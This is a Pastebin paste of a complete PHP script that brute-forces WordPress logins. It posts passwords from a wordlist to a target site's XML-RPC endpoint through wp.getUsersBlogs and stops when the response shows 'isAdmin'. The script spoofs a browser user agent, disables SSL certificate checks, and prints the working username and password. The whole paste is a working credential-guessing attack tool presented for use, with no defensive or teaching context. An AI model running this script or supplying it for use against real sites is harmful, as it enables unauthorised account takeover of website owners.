Advertisement
Guest User

awdaw

a guest
May 11th, 2019
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.51 KB | None | 0 0
  1. <?php
  2. // RINTOD
  3. function curlX($url, $user, $pass){
  4. $dataToPOST = "<?xml version=\"1.0\"?><methodCall>
  5. <methodName>wp.getUsersBlogs</methodName>
  6. <params>
  7. <param><value>{$user}</value></param>
  8. <param><value>{$pass}</value></param>
  9. </params>
  10. </methodCall>";
  11. $options = array(
  12. CURLOPT_URL => $url,
  13. CURLOPT_RETURNTRANSFER => true,
  14. CURLOPT_HEADER => false,
  15. CURLOPT_FOLLOWLOCATION => true,
  16. CURLOPT_ENCODING => "",
  17. CURLOPT_USERAGENT => "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 OPR/58.0.3135.132", // isi Useragent njing
  18. CURLOPT_AUTOREFERER => true,
  19. CURLOPT_CONNECTTIMEOUT => 10,
  20. CURLOPT_TIMEOUT => 10,
  21. CURLOPT_SSL_VERIFYPEER => false,
  22. CURLOPT_POSTFIELDS => $dataToPOST,
  23. CURLOPT_POST => true
  24. );
  25. $ch = curl_init();
  26. curl_setopt_array($ch, $options);
  27. $out = curl_exec($ch);
  28. return $out;
  29. }
  30. $url = @$argv[1];
  31. $user = @$argv[2];
  32. $list = @$argv[3];
  33. if(empty($url) || empty($user) || empty($list)){
  34. echo "Usage: php $argv[0] <url> <user> <wordlist>\n";
  35. exit;
  36. }
  37. try{
  38. $word = explode("\n", file_get_contents($list));
  39. foreach($word as $wlist){
  40. $meh = curlX($url, $user, $wlist);
  41. if(preg_match("@isAdmin@", $meh)){
  42. echo "Success\n";
  43. echo "User : $user\n";
  44. echo "Pass : $wlist\n";
  45. break;
  46. }
  47. else{
  48. echo "Failed -> $user | $wlist\n";
  49. }
  50. }
  51. } catch (Exception $e) {
  52. echo 'Error : ', $e->getMessage(), "\n";
  53. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement